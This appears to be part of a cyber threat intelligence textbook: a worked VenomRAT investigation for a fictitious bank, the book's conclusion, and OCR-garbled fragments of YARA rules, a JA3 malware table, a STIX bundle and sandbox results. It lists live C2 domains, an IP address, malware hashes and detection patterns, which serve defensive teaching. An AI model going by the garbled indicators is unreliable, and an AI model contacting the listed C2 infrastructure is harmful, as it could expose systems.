					POC: Threat Intelligence Team Manager, Bart Simpson, at bart.simpson@ozarkintbank.com.

			

			In the preceding example PIR, Ozark International Bank is defining the need for collection and analysis, which should be time-based and answer specific intelligence questions or requirements. Each defined PIR should correspond to a prioritized collection requirement, which we will examine next.

			Also, during the collection phase of the intelligence life cycle, a PCR must be created. Within the Threat Intelligence team of Ozark International Bank, there is a collections sub-team that is responsible for collecting threat intelligence, and defining what, where, and how Ozark International Bank collects data. As we mentioned in Chapter 6, Technical Threat Intelligence – Collection, as part of that process, Ozark International Bank threat analysts develop PCRs related to the international banking industry, as shown in the following table:
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			These PIRs help the collections sub-team know what to proactively collect and in what fashion. This ensures that any intelligence that is collected is done so with some sort of focus on objectives. 

			Now that the PIRs and PCRs have been developed for Ozark International Bank, the analyst can focus on collecting some of this data, by both automated and manual means. The threat intelligence analysts at Ozark International Bank can easily leverage a tool such as TweetDeck to monitor for and find indicators and artifacts related to PCR-001-A-BIN-FIN-P2 and PCR-002-P-DOC-FIN-P1 manually. TweetDeck is great if an analyst wants to pull indicators manually, in one-off instances where targeted PCRs can be actioned. In situations where programmatic access is necessary for storage and analysis, the Twitter API can be used. TweetDeck offers several pieces of functionality, such as saving search results in a column, building search collections, and viewing multiple timelines, as shown in the following screenshot:
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			Figure 12.1 – TweetDeck interface

			With the indicators that have been extracted from TweetDeck, threat analysts can pass tailored and timely intelligence to several departments throughout Ozark International Bank for blocking and alerting, for example.

			Automated collection can occur in a diverse number of ways, including using custom-created or open source Python scripts to make use of tools such as Splunk. In our case, and as an example, Ozark International Bank wants to leverage a tweet scraper to pull the contents of users' posts on Twitter. In this case, the analyst could leverage a Python library called Tweepy (https://www.tweepy.org/), which can be used to access the Twitter API. Tweepy can perform various tasks beyond just querying tweets. It provides rich search and querying capabilities, and when used in conjunction with something such as MongoDB, you can store tweets and query Twitter via its diverse search functionality, which allows more information to be collected:
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			Figure 12.2 – Tweepy web page 

			By leveraging Tweepy, you can pull Twitter API search results in several formats and retrieve that data quickly and easily, as shown in the following example:

			json={`id`: 48234974, `name`: `MalwareHunterTeam`, `screen_name`: `malwrhunterteam`, `description`: `MHT Twitter account. Check out ID Ransomware (created by @demonslay335). Want to talk with us? DM @0x7fff9 anytime. More photos & gifs, less malware. […]

			As we mentioned earlier, at this point, systematically and automatically storing and categorizing tweet content can be easily achieved using technologies such as MongoDB.

			Now that we've looked at a practical example involving Ozark International Bank and their relative collection step examples, let's see how Ozark International Bank will approach the analysis stage of the intelligence life cycle.

			Analysis

			The analysis stage of the intelligence life cycle is where any threat activity is analyzed. Once the data has been centralized in a standardized way, the byproduct can be analyzed and curated. For example, the analysis stage includes deduplication, admiralty scoring, pivots, and enrichment to be actionable to departments across the organization, such as the SOC or incident response. During this stage, the bulk of the analysis goes into threat intelligence generation. 

			To understand the analysis phase of the intelligence life cycle, let's examine an in-depth case study from start to finish using freely available tools. While there are many scenarios where threat intelligence can be used during SOC-identified incidents, this example will focus on only one possible outcome.

			For this example, let's act as though the SOC within Ozark International Bank has identified a suspicious file on an endpoint. The file, named $77-Venom.exe, has a SHA256 hash of 5b5e82e79c52452b2d03a4fa83b95bbeec8a4b1afd97edd9999a77d26f548 8b4. At this point, the SOC decided to pass the source PC to the incident response team, to further identify the scope of a likely active incident. Additionally, the SOC has passed the file to the threat intelligence team at Ozark International Bank to identify additional indicators to block and alert on, in addition to finding additional information about the file and the sources of the attack, where possible.

			We'll pick up the example from here – where the threat intelligence team gets involved. As you may recall from Chapter 7, Technical Threat Analysis – Enrichment, and Chapter 8, Technical Threat Analysis – Threat Hunting and Pivoting, one quick first step that threat intelligence analysts typically take is searching for the hash of the file that's involved in the attack on VirusTotal to get a baseline analysis and high-level information about the file itself, where possible. Searching for the hash in VirusTotal gives us a quick overview of the sample, as shown in the following screenshot:
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			Figure 12.3 – VirusTotal results for the SOC identified file

			The threat intelligence analyst can immediately get a foundation of empirical data about the file by examining the VirusTotal results more closely. The vendor detection names on VirusTotal sometimes help in classifying malware families, but this is rarely foolproof. In this case, the analyst decides to perform dynamic and static analysis on the file. Additionally, a few items quickly stand out when the malware is inspected on VirusTotal, such as examining the file's strings. This can be seen in the following screenshot:
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			Figure 12.4 – Strings contained within the malware sample

			While this is simplistic, upon closer inspection of the strings contained within the malware, we can find a further pivot and analysis point for the analyst. The IP address, 91.134.207.16, was hardcoded, making analysis, pivoting, and enrichment easier. This IP address can now be provided to the SOC for further monitoring. Alternatively, it could be analyzed further, such as by examining its passive DNS records. Going one step further, searching on Twitter, the analyst quickly sees a Twitter post referencing this newly identified IP address:
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			Figure 12.5 – A Twitter post mentioning the hardcoded IP address

			Continued dynamic and static analysis of this file proves that this malware sample belongs to a malware family called VenomRAT. Now that the analysts know the malware family, they can start to zero in on more activity surrounding this family, with the idea that identification, blocking, and alerting can be done.

			At this point, the threat intelligence analyst could be looking for any additional information about the malware, such as the infrastructure that's being used as part of the malware's Command-and-Control (C2) infrastructure, which can provide a wealth of information.

			The analyst decides to visit the Behavior tab within VirusTotal to look for any C2 connections or communication. The threat analyst immediately identifies two URLs of interest, as shown in the following screenshot:
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			Figure 12.6 – HTTP and DNS requests

			The two URLs, narrow-ink.auto.playit.gg and payloads-poison.000webhostapp.com, can easily provide a pivoting point, as we saw in Chapter 8, Technical Threat Analysis – Threat Hunting and Pivoting. At this point, the SOC gets notified of the URLs to monitor, while the analyst can also notify the operations team, which is responsible for firewalls, proxies, and other defense technologies, to block and detect traffic to the malicious URLs.

			Infrastructure discovery

			Quickly inspecting the infrastructure using RiskIQ's PassiveTotal shows that 000webhostapp.com is being hosted via the popular free web hosting service 000WebHost, which makes it harder to identify further pivoting points. Pivoting off the host IP address could potentially identify additional infrastructure to block or alert on. However, in the case of our actor's infrastructure, there's not much else to go on, as shown in the following screenshot:
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			Figure 12.7 – PassiveTotal pivoting off the hosting IP

			From a hunting and pivoting perspective, the Ozark International Bank analyst has several options at this point. More specifically, and ultimately, let's act as though the analyst decides to hunt for two items. First, they decide to look for related files that are communicating with the same C2 infrastructure. This will let them proactively alert and hunt through the organizational environment for the presence of these indicators or artifacts. Second, the analyst may want to search through open source intelligence to continue identifying related samples, which will allow them to look through the environment for the presence of these files. The threat analyst then decides to visit the ever-useful AlienVault OTX portal, as shown in the following screenshot:
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			Figure 12.8 – AlienVault identified additional samples based on pivoting on the C2 infrastructure

			Doing a search in AlienVault's OTX portal using the infrastructure option followed by the payloads option, poison.000webhostapp.com yields additional results, such as the Cpanel Cracker By Bk.exe file (d19ac2919e6b9e3b63ef7835d32eb8445c8e6308ef21c33eee7b437697a3 d774), which shares the same infrastructure as our first file, $77-Venom.exe. At this point, the analyst could notify the SOC and operations teams to monitor and block these additionally identified files and the CTI analyst could hunt the logs for the presence of this file throughout the environment.

			Additional files related to VenomRAT can easily be found across the many freely available sandboxes online. Furthermore, the threat analyst decides to query the popular tria.ge website based on the family:venomrat query, as shown in the following screenshot:
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			Figure 12.9 – Additional samples identified on www.Tria.ge

			The analyst could quickly and easily send these additional files to the SOC and operations team, or hunt through logs, using the same processes we discussed earlier. Realizing it's also wise to check social media sites for sources of threat intelligence, the analyst visits popular services such as Twitter, Telegram, and more. They quickly see that additional files are communicating with the same infrastructure, which all appear to be VenomRAT, although the files were originally thought to be a closely related malware family called Quasar RAT:
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			Figure 12.10 – Additional payloads identified on Twitter

			As the threat analyst continues diving deeper into investigating VenomRAT and its related tentacles, they decide to briefly visit some popular forums such as exploit.in and hackforums.net to see whether they can find any additional information about the origins of VenomRAT. In this case, the analyst peruses Hack Forums and finds an interesting advertisement for software called Venom Software, as shown in the following screenshot:
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			Figure 12.11 – Hack Forums advertisement for Venom Software

			This advertisement is specifically selling access to a popular tool being sold at www.venomcontrol.com that supports a litany of functionality, such as building malware binaries. Further examination of the advertisement on Hack Forums also provides additional context, including the contact details of the seller.

			A closer comparison between our originally identified file and Venom Software shows that the original malware file, $77-Venom.exe, was likely generated by Venom Software, which was identified on Hack Forums. While it wasn't possible to ascertain many details about the infrastructure or attacker involved in this attack, the analyst could continue monitoring, alerting, and blocking the hosting IPs, the domains hosted on those IPs, and more. 

			As we mentioned in Chapter 6, Technical Threat Intelligence – Collection, a wonderful and free Threat Intelligence Platform (TIP) known as OpenCTI can be used to store any indicators, intelligence, and artifacts that are collected. There are ways to store and visualize data that is sent via an API, such as Splunk, but that is outside the scope of this book and can be examined more closely elsewhere.

			Something that's key to the collection and analysis phases of the intelligence life cycle is storing the contextualized intelligence that is generated during the collection and analysis stages in a centralized and easily searchable fashion. In this case, the threat analyst stores the observable information that's been identified in both the collection and analysis stages into OpenCTI. Here, the analyst is entering observable information for our aforementioned VenomRAT, as shown in the following screenshot:
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			Figure 12.12 – Adding a VenomRAT observable to OpenCTI

			Important Note 

			Note that any enriched intelligence should be added to the TIP instance for historical analysis and contextualization. 

			As you can see, during the analysis stage of the intelligence life cycle, you can get a lot of value by using the many options that are available and providing support to the organization by delivering actionable and timely threat intelligence via accurate analysis. Though we've only demonstrated one example of what can occur in the analysis stage, it's important to remember there are many diverse examples of analysis, pivoting, and enrichment that we didn't cover. The analysis stage is a deeply complex and diverse topic that's not necessarily intended to be summed up in a single chapter.

			Now that we've looked at an example of analyzing, pivoting, and enriching threat intelligence, let's focus on the next phase of the intelligence life cycle – the production phase.

			Production

			In the production phase of the intelligence life cycle, Ozark International Bank and its executives are likely looking for some way to consume the intelligence that has been generated. This type of intelligence could be in the form of a report, or it could be technical, such as STIX bundles. In this case, the CTI team at Ozark International Bank should be presenting the finished threat intelligence to the decision-makers of the organization, so a report must be created. 

			Threat intelligence reports are documents that describe actors, types of targeted systems, the Tactics, Techniques, and Procedures (TTPs) that are being used, vulnerabilities, and more. They're intended to give more situational awareness to an organization to help them facilitate active protection. These reports can and should be used in conjunction with a meeting to discuss the results of the report. Both deliverables should be easy to understand and consumable; otherwise, they will be mostly useless. 

			CTI analysts need to understand the unique nuisances, in terms of deliverables, between departments and their respective technical knowledge. 

			While each report and its corresponding content will differ from organization to organization, some core fields to address in a final report may be as follows:

			
					Date/Time

					Mapped Incident 

					Analysis of Threat Activity

					Campaign Correlation

					Malware Family in Use

					Threat Actor Handles in Use

					Threat Actor TTP

					Motives (Where Possible)

					Exploit Code and Tools

					Response and Mitigation Strategies 

					Recommended Courses of Action

			

			In this case, Ozark International Bank is likely looking for an after-action report of the threat intelligence team's findings. The lead of the Cyber Threat Intelligence team at Ozark International Bank decides to construct the report as follows. This report is, in part, based on Lenny Zeltser's great report template, which can be found on his website: https://zeltser.com/media/docs/cyber-threat-intel-and-ir-report-template.dotx. 

			We have extracted some relevant fields from the template and adapted them from their original format to make this shorter. And while this template is somewhat old, being created in 2016, it is still a valuable and freely available resource that can serve as the foundation for Ozark International Bank's threat intelligence report, as shown in the following example.

			Cyber Threat Intelligence Report – Ozark International Bank

			REPORT DATE: 21022022

			INCIDENT DATE: 17022022 - 20022022

			RELATED INCIDENT: OzarkInt:Incident_1:20022022

			REPORT AUTHOR: Martin Bird

			REVISION DATES AND NOTES: Draft 1: 20022022

			EXECUTIVE SUMMARY:

			On February 20, 2022, the Ozark International Bank Cyber Threat Intelligence team was engaged to participate in hunting and enrichment operations about a file located by the SOC as part of their daily operations. The CTI team proceeded to pivot, hunt, and enrich based on the initial findings from the SOC. 

			During an active incident in Ozark International Bank, the SOC shared a file hash indicator with the CTI team. The hash that was provided to the CTI team (5b5e82e79c52452b2d03a4fa83b95bbeec8a4b1afd97edd9999a77d26f54 88b4) was used as a primary hunting, pivoting, and enrichment foothold for further analysis. Further pivoting and analysis that was performed on this file unveiled a diverse threat actor behind a software builder called Venom, which was likely used to compile the malware that was being used against Ozark International Bank. It's currently not known whether the actor behind the Venom software is the same actor targeting Ozark International Bank. 

			Pivoting on and enriching the file unearthed an additional related file and two domains that were used as part of the threat actor's infrastructure, in addition to a hardcoded IP address contained within the malware. Analyzing the threat actor's infrastructure did not yield attribution to either a campaign or a specific threat actor. Ultimately, this threat hunting activity enabled the SOC to proactively monitor and alert for additional threat activity originating from this threat actor. 

			DESCRIPTION OF ADVERSARY:

			The direct adversary behind the attack against Ozark International Bank is unknown. 

			DESCRIPTION OF MALWARE:

			The malware that was used in the attack against Ozark International Bank is called VenomRAT. This malware makes a connection to payloads-poison.000webhostapp.com on port 443 to pull down a secondary file, r77-x64.dll, which contains a rootkit. Notably, the malware performs several PowerShell commands, such as "powershell" GET-MpPreference -verbose, which pulls preferences for Windows Defender scans and updates. Of note, upon closer inspection of the VenomRAT sample, there was a hardcoded IP address contained within the binary.

			It's important to note that VenomRAT was likely built with a software called Venom Software, which is a tool that's capable of compiling malware that has keylogging functionality, file management, UAC bypass mechanisms, malicious Microsoft Office macro builders, and more. 

			ADVERSARY INFRASTRUCTURE:

			The adversary has three focal points of interest in terms of infrastructure. The first is the 91.134.207.16 IP address, which was hardcoded in the VenomRAT sample. Further analysis of this infrastructure yielded no further analysis or pivot points. Second, the C2 infrastructure for the VenomRAT sample payloads is poison.000webhostapp.com. Further analysis of this infrastructure yielded additional related malware samples that were not identical. Finally, the narrow-ink.auto.playit.gg URL appears to be beaconed from the same VenomRAT sample. Further pivots on both VenomRAT-contacted domains had no additional enrichment or pivot points. 

			CAMPAIGN CORRELATION:

			There are no direct campaign correlations to this threat activity.

			INDICATORS:
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			Just like creating a report can be a production output, technical production mechanisms can exist that can benefit the organization, as well as external entities if Ozark International Bank decides to share the compromised information with the industry. 

			In the next example, we're going to leverage OpenCTI to generate a second type of deliverable to the organization – a STIX bundle that can easily be ingested into security products across the organization. Generating a STIX bundle can be done in several ways in OpenCTI, as well as one of the easiest – an analyst could opt to create a report and export it, choosing JSON format, which results in a STIX bundle that can be used, as shown in the following screenshot:
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			Figure 12.13 – STIX JSON bundle showing OpenCTI outputs and relationships related to the incident

			Producing intelligence is a complex topic with deliverables varying from organization to organization and objective to objective. In our Ozark International Bank example, we've demonstrated one non-technical deliverable by way of a report, and one technical deliverable by way of a STIX bundle. While these are common deliverables, it's important to note there are many additional ways to productionize intelligence that we didn't discuss. With that, let's look at the final stage – dissemination and feedback.

			Dissemination and feedback

			The final stage of the intelligence life cycle is where we disseminate the intelligence that we have created and seek out stakeholder feedback after consumption and review. Earlier, in the production phase of our intelligence life cycle, we created two distinct deliverables for the scenario we established for the practical application portion of the chapter. Since the original FCRs were produced by the SOC, the final report, titled Cyber Threat Intelligence – Ozark International Bank, will be distributed back to them.

			The two deliverables we produced in the production phase of the intelligence life cycle are ready to be disseminated to the stakeholder community and consumed. The intelligence stakeholder in our practical example is the SOC, who specifically created an FCR for us to collect binary and network IOCs associated with threats targeting the organization.

			In the second example we produced, the STIX object that represents the threat and contains the contextualized threat intelligence object will be consumed automatically by the SOC. As you may recall from Chapter 4, Threat Intelligence Frameworks, Standards, Models, and Platforms, we introduced you to the Trusted Automated eXchange of Indicator Information (TAXII). TAXII is the application protocol that the threat intelligence team will utilize to automatically push the threat intelligence object out to consumers, including the SOC, so that they can immediately benefit from the intelligence. In our practical application, the SOC will use the IOCs associated with the intelligence to block their network and endpoint protection products.

			The second deliverable will be the document itself. Should any of the IOCs be part of any alerting, then the intelligence reporting will become available to contextualize the threat for the information security teams. This allows them to put some strategic value around the seriousness of the threat as they begin their efforts to respond and remediate the threat.

			This motion between security operations and the threat intelligence team should continue to be a cyclical operation. It should be in constant motion with feedback from the SOC regarding the actionability of the intelligence provided. It should also mature and become more refined over time.

			Finally, should the threat intelligence team share their threat intelligence with trusted partners either internally or externally to the organization, the last operation to perform regarding indicator storage may be using the Malware Information Sharing Platform (MISP) application, which we also mentioned in Chapter 4, Threat Intelligence Frameworks, Standards, Models, and Platforms. As you may recall, MISP is an open source tool that's often deployed to complement OpenCTI, which is primarily used for storing and distributing threat indicators that have been identified through malware analysis and reverse engineering. MISP excels as a sharing platform and the users of the software benefit the most from sharing with other trusted platforms. Remember, should you decide to share outside the organization, constant feedback from your consumers is paramount to understanding the effectiveness of your overall intelligence program.

			Summary

			In this chapter, we have illustrated every phase of the intelligence life cycle by utilizing a practical application scenario that allowed us to showcase the tools that are commonly used, as well as the datasets that are associated with collecting intelligence information. In our scenario, we created a fictitious organization in the financial services sector that was looking for intelligence that could be used to harden their overall security software. It did this by incorporating network- and binary-based IOCs into the systems that monitored their network traffic and the applications that protected their endpoints within the infrastructure. 

			In the next chapter, we will wrap up this book. We'll step back and look over everything we've discussed from a 100-foot perspective to ensure we understand how everything works. It's been a wild ride, but all things must come to an end!

		

	
		
			Chapter 13: Conclusion

			It's been quite the journey, but unfortunately, we have come to the conclusion of our trip together. However, we wanted to take the time to wrap the book up for you to ensure that you understand how we presented it and how it was meant to tie together. In this final chapter, we'll cover the three main sections of the book and ensure that we presented the holistic overview as we intended.

			Specifically, we will cover the three main sections of the book:

			
					What Is Cyber Threat Intelligence?

					How to Collect Cyber Threat Intelligence

					What to Do with Cyber Threat Intelligence

			

			What Is Cyber Threat Intelligence?

			As we began our journey into operationalizing cyber threat intelligence, we introduced you to a roadmap that laid out the needs for a threat intelligence program. We then began introducing you to core concepts, such as what threat actors are, threat campaigns, and threat actor tooling. We then introduced you to standard guidelines and policies associated with cyber threat intelligence, before finally introducing you to several threat intelligence frameworks, standards, and platforms that are utilized.

			In Chapter 1, Why You Need a Threat Intelligence Program, we began by introducing you to what cyber threat intelligence is and clearly defining the difference between data, information, and intelligence. We then moved on to introduce you to different kinds of intelligence, which included tactical, strategic, operational, and technical threat intelligence. We followed this by discussing the use and benefits of cyber threat intelligence for any organization and even introduced you to the availability of intelligence from open source vehicles.

			Knowing that it is relatively easy to obtain threat intelligence, we introduced you to the five traits of good cyber threat intelligence in the chapter, which centered on accuracy, completeness, reliability, relevance, and timeliness. On top of these traits to rate your gathered intelligence, we introduced you to the NATO admiralty, a system used to rate the credibility and reliability of your intelligence source and collection. We finished up by introducing you to the threat intelligence life cycles as well as several hunting and maturity models that can be used.

			In Chapter 2, Threat Actors, Campaigns, and Tooling, we introduced you to the idea of studying threat actors, specifically their behaviors and approaches to committing cybercrimes, their motivations, and the associated Tactics, Techniques, and Procedures (TTPs) utilized in their attack chain. We began by introducing you to the various motivations that actors use as excuses to commit cybercrimes and carry out attacks and then spent some time discussing the various types of threat actor roles that can be behind the cyber threat campaigns. We then moved on to discuss the exploitation of vulnerabilities, threat actor tools, and their use of malware.

			We introduced you to the act of naming malware, threat campaigns, and even threat actors themselves. This is a feature of the cyber threat community that has large application by corporations who are trying to reference malware, campaigns, and actors behind the threats that they are seeing. We finished this chapter by discussing threat actor attribution, the process for identifying the actors behind an attack, especially the pros and cons behind doing so.

			In Chapter 3, Guidelines and Policies, we introduced you to the needs and benefits of the various guidelines, procedures, standards, and policies that should be introduced into a cyber threat intelligence program. This chapter was spent mostly on introducing you to the concept of various intelligence and collection requirements and giving examples of their use and interconnectedness. After the initial introduction of General Intelligence Requirements (GIRs), we introduced Focused Collection Requirements (FCRs), Information Extraction Requirements (IERs), Data Intelligence Requirements (DIRs), Prioritized Intelligence Requirements (PIRs), and Specific Intelligence Requirements (SIRs), which gave you the opportunity to decide how granular your collection management can be. This information is the foundation of the first phase of the intelligence life cycle, planning and direction.

			In Chapter 4, Threat Intelligence Frameworks, Standards, Models, and Platforms, we began by discussing how frameworks and standards help organize, structure, and facilitate sharing, analysis, and the understanding of threat intelligence data and information with internal or external teams. These frameworks, models, and standards help establish baselines on how sharing, analysis, and modeling should be done. We then began introducing you to several threat models. We have found that organizations find that threat modeling collected data utilizing conceptional visualizations and threat frameworks assists in helping to identify the threat actors' capabilities, motivations, and goals. We introduced you to the Threat Intelligence Pyramid of Pain, the Cyber Kill Chain, the Diamond Model, and MITRE's Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK) framework. 

			We then introduced you to several concepts around data sharing frameworks for threat intelligence. Sharing frameworks are intended to facilitate the sharing of a threat intelligence indicator or observable data or intelligence. We started with the Traffic Light Protocol (TLP), a model used for classifying information into appropriate categories to facilitate intelligence and data sharing. We then introduced you to Structured Threat Information eXpression (STIX) and Trusted Automated eXchange of Intelligence Information (TAXII). Using STIX, a user can quickly represent all aspects of a compromise or investigation and their interconnected relationships. TAXII is an application protocol that has been developed to allow CTI information modeled in STIX to be exchanged over HTTPS.

			We finally finished this chapter by introducing you to two platforms, OpenCTI and the Malware Information Sharing Platform (MISP). Any organization starting a CTI program will eventually have to address the storage and manipulation of intelligence data during the daily operation of collecting and enriching. The utilization of these two frameworks assists with the modeling of threat intelligence, as well as the storage of technical indicators associated with threat intelligence.

			When the framework for why we need threat intelligence, how to standardize the identification of knowledge gaps and setting up a collection framework, and how to model the threat and store the technical indicators had been addressed, we then moved on to discuss how we collect cyber threat intelligence in the next section of the book. 

			How to Collect Cyber Threat Intelligence

			In the next section of the book, we largely focused on collecting cyber threat intelligence, enriching and pivoting on data that we collect, analyzing that threat data, and then even modeling it to help us get a better understanding of the holistic threat. 

			We didn't want you to begin collecting any data about a threat without a complete understanding of the security issues that are associated with this type of work. So, in Chapter 5, Operational Security (OPSEC), we thoroughly laid out the foundation for protecting yourself while collecting threat data from both a technical perspective but also a behavioral perspective as well. OPSEC is a security and risk management process that prevents sensitive information about you from getting into the hands of those that mean to do you harm. This can mean several things, including information about your personal identity, the infrastructure you use for collections, and even the actions you take during these operations. Once we laid out the foundation that keeps analysts safe while performing collection operations, we finally introduced you to the actual operations. 

			In Chapter 6, Technical Threat Intelligence – Collection, we examined the second phase of the intelligence life cycle, the collection phase. In response to all the requirements documentation the organization introduced, we introduced you to several key concepts about collection. These included the collection management process, the role of the collection manager, and the collections operations life cycle. To be an effective organization collecting data that fulfills any intelligence gathering need, appropriate planning is needed, with special consideration of the established collection priorities, any special requests for information, and administration of collection operations on a recurring basis. This chapter discussed how to establish collection operations and measure an organization's effectiveness by utilizing collection metrics. Collection metrics provide you with insight into your overall collection effort and can be utilized to shift your programs and investment. As the collection operation is performed, this usually means a shift to the next phase of the intelligence life cycle, processing. 

			In Chapter 7, Technical Threat Analysis – Enrichment, we began by discussing technical threat intelligence enrichment and analysis, which covered the process of adding context to threat intelligence data and enhancing or improving it by performing actions such as removing false positives or incorrect intelligence data. We also examined the need and motivation behind enrichment before introducing you to infrastructure and file-based Indicators of Compromise (IOCs).

			In Chapter 8, Technical Threat Analysis – Threat Hunting and Pivoting, we introduced you to the idea of hunting and pivoting on the existing corpus of threat data from collection operations to see whether the growing object of threat could be grown into a larger form, which gave us a better understanding of what the actual threat looked like. We then introduced you to several hunting and pivoting methods, as well as several tools and services that can be used to assist you in performing these types of operations.

			We finished off this section of the book with Chapter 9, Technical Threat Analysis – Similarity Analysis. In this chapter, we began to discuss the visualization of the growing threat object we are building. As you begin hunting and pivoting to discover new related information, it's important to utilize visualization tools as you begin grouping together your discovery from files and infrastructure. We introduced you to the concept of using graph theory with similarity grouping, introduced you to several similarity grouping tools, and finally, introduced you to the concept of using tools to cluster similar files together for you.

			This concluded the second section of the book, as at this point, you should have been able to collect threat intelligence data, hunt, pivot, and enrich that information, and cluster it into a form that can assist in visualizing a cyber threat. With this, we not only moved on to the final section of the book but also into the next section of the intelligence life cycle, dissemination and feedback.

			What to Do with Cyber Threat Intelligence

			In this final stage of the book, we began the next and final stage of the intelligence life cycle by discussing the preparation of threat intelligence and, finally, the dissemination to stakeholder groups within the organization. After the intelligence has been analyzed and produced, it should be disseminated, with feedback sought. 

			In Chapter 10, Preparation and Dissemination, we began by discussing the data interpretation journey. In this chapter, we focused on how to interpret the collected data, evaluate it for intelligence, and identify which portions of it should be considered as timely, accurate, and relevant threat intelligence. Special focus in this chapter was placed on interpretation and alignment, critical thinking and reasoning, tagging, and considerations of threat intelligence based on lessons learned by the United States intelligence community.

			In Chapter 11, Fusion into Other Enterprise Operations, we specifically focused on the stakeholders of an organization that would consume the threat intelligence, the reasons for doing so, and for what purpose. While the primary focus was the information security elements of an organization, we tried to give insight into other organization elements, such as products, marketing, sales, legal, and executive leadership. Knowledge of the adversary and an understanding of why they are targeting your organization affects every aspect of the business.

			In Chapter 12, Overview of Datasets and Their Practical Applications, the final chapter of the section, we focused on tying up all the concepts we introduced in the book by providing a practical application against a real-world cyber threat. We started off by establishing a persona scenario that we could utilize and then walked through each of the phases of the intelligence life cycle, ensuring that you got some hands-on experience in each phase in a real-world scenario.

			With the practical application finished, this has not only wrapped up the final section of this book but the actual book itself.

			Summary

			During the course of writing this book, we hope that we were effective in helping you to understand what threat intelligence is, and how an organization can collect, analyze, produce, and ultimately disseminate cyber threat intelligence to their stakeholder communities. If we were asked why we wrote this book, the only answer that we can think of is because we love the work we do and want to lower the barrier of entry for anyone to join this community, while also helping organizations stay safe by identifying and hopefully contributing to stopping that next big attack.
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verify that C2 traffic can no longer be identified throughout organizational
telemetry and log data. The threat analysts could then search and verify the
existence of C2 traffic.

Recovery

During the recovery phase of the IR life cycle, patching and system
restoration occur. While it might seem as though threat intelligence will not
be beneficial in this stage, often, intelligence can directly advise recovery
efforts. The intelligence provided during this stage is often contextual in
nature to help provide structure to attacker motivation, additional attack
vectors employed by the threat actor, and more. This additional context is
important, especially when after-action decisions are made.

For example, a threat researcher could be brought in at the recovery stage to
write a dossier on the threat actor that attacked the organization, which is
being used in preparation for the final incident report.

Lessons learned

Similar to the recovery stage of the IR life cycle, at first, it might be assumed
that threat intelligence is not valuable in the final stage of the IR life cycle.
However, threat intelligence is commonly leveraged in, largely, an advisory
role, adding additional context and detail to the attack, typically in the form
of report writing or presenting on threat actors, the malware used, or threat
campaign correlations.

For example, a threat intelligence analyst would likely be included in final
reporting to write additional context about the attacker, their perceived
motivations, T'TPs, and more.
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rule silent_banker : banker
{
meta:
description = "This is just an example"
threat_level = 3
in_the_wild = true

strings:
$a = {6A 40 68 00 30 00 00 6A 14 8D 91}
$b = {8D 4D BO 2B C1 83 C@ 27 99 6A 4E 59 F7 F9}
$c = "UVODFRYSIHLNWPEJXQZAKCBGMT"

condition:
$a or $b or $c
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Condition Description

uintl6 (0) == 0x5A4D

Checking the header value of a file is a
wonderful condition to add to YARA rules.
In this case, the condition would stipulate
that the file that’s being searched for is a
Windows executable because the 4D and
5A hex values are always located at the
start of the executable’s file header.

uint32 (0) ==0x464c457f

This condition is used to identify Linux
binaries by checking the file header.
Many conditions exist for checking Linux
binaries, and this is merely one example.

(#a == 5) This condition identifies that the string
count is equal to five.
(#a > 6) This condition identifies that the string

count is greater than five.
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rule anchor_dns_icmp_transport {

meta:
description = "Rule to detect AnchorDNS samples based off ICMP transport strings"
author="NCSC"
hash1l ="056f326d9ab960ed02356b34a6dcd72d7180fc83"

strings:
$ ="reset_connection <- %s"
$ ="server_ok <- %s (packets on server %s)"
$ = "erase successfully transmitted packet (count: %d)"
$ = "Packet sended with crc %s -> %s"
$ ="send data confimation to server(%s)"
$ ="data recived from <- %s"
$ = "Rearmost packed recived (id: %s)"
$="send poll to server ->: %s"

condition:
(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and 3 of them
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SSL black ﬁt JA3 Fingerprints

€

Malware Samples

The table below documents all malware samples associated with this JA3 Fingerprint.

Timestamp (UTC) Malware Sample (MD5 hash) VT Botnet C&C (IP:port)
2021-06-21 02:35:57 96b68c1217d1e1bc658e92f7f2cEbaa3 »31/63 (159%) 216.119.146.27:443
2021-06-21 023657 96b68c1217d1e1bc668e92f7f2cEbaa3 »31/63 (159%) 52.206.2.0:443
2021-06-2102:35:57 96b68c1217d1e1bc658e92f7f2c5baal3 »31/63 (1.569%) 216.119.146.27:443
2021-06-2102:35:57 96b68c1217d1e1bc658e92f7f2c5baal3 »311/63 (1.59%) 52.206.2.0:443
2021-03-08 11:29:55 053635ac6eb91d4874e73c44580817e )332/68 (47.06%)  50.17.98.4:443
2021-03-08 11:29:55 053635ac6eb91d4874e73c44580817e )332/68 (4706%)  50.17.98.4:443
2021-02-10 21:48:57 076139c0c2e55b0d4alced61b6c8c3df )312/68 (1765%)  5258.15.198:443
2021-02-10 21:48:57 076139c0c2e55b0d4alccd61b6c8c3df )312/68 (1765%)  525815.198:443
2021-01-10 08:36:33 ab348fafce292b6eb511275b46460e1c »19/65 (13.85%) 52.58.15.198:443
2021-01-10 08:36:33 ab348fafce292b6eb511275b46460e1c »39/65 (13.85%) 52.58.15.198:443

2020-12-20 01:02:07 945031534f0156c6fc5481de30ee963e »24/68 (5.88%) 47.246.43.251:443
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"type": "bundle",
"id": "bundle—89b46cP6—aB69-41B2-aB49-57c2e3Bc2dBe",
"objects": [

{

"type": "report",
"spec_version": "2.1",
"jd": "report—c@fbffla—6Te5-5535—ad7c—@feccB7f2dB9",
"created": "2822-82-24T06:00:00.080Z",
"modified": "2822-82-25T@1:00:10.288Z",
"name": "Venom RAT Malware Identified",
"report_types": [
"threat-report"
1,
"published": "2822-82-24T06:00:80Z",
"object_refs": [
"file—e7c77d2e-2198-5bB3-af36-2c7Bee7c32e2",
"url-—18961d37-1354-5b1ld-a%@3-b4e20f3f4ca?",
"url-——3%e220da-97f11-5957-aeB5-13493871acls"
1,
"labels": [
"yenom rat"
1,

"confidence": 15
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Login Reports

W
Triage

family:venomrat

Created Filename Tags

19-02-2022 16:23 5b5e82e79c52452b2d03a4fa83b95bbeec8adbiaf...

spyware stealer
07-01-2022 10:21 defbaed45ea8e71f8a50123f382f4538afc9db836deO... .

rootkit spyware
01-01-2022 17:39 fe017545d9438e8491e09152ec9d4ee9faa9aaf64b... .

rootkit spyware
19-10-2021 02:49 66e8al4e6da21c74e44afd4ec991f7545c¢8d256490... .

rootkit spyware
18-10-202117:32 0b196e6b27ed15410bd946b1ccfd1de6b7af64a540... .

rootkit spyware
18-10-202111:33 [Schedule_&_Booking__18th_oct.exe evasion keylogger

spyware stealer
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Intelligence SME focus Description

Vulnerability and exploitation How the actor is performing the
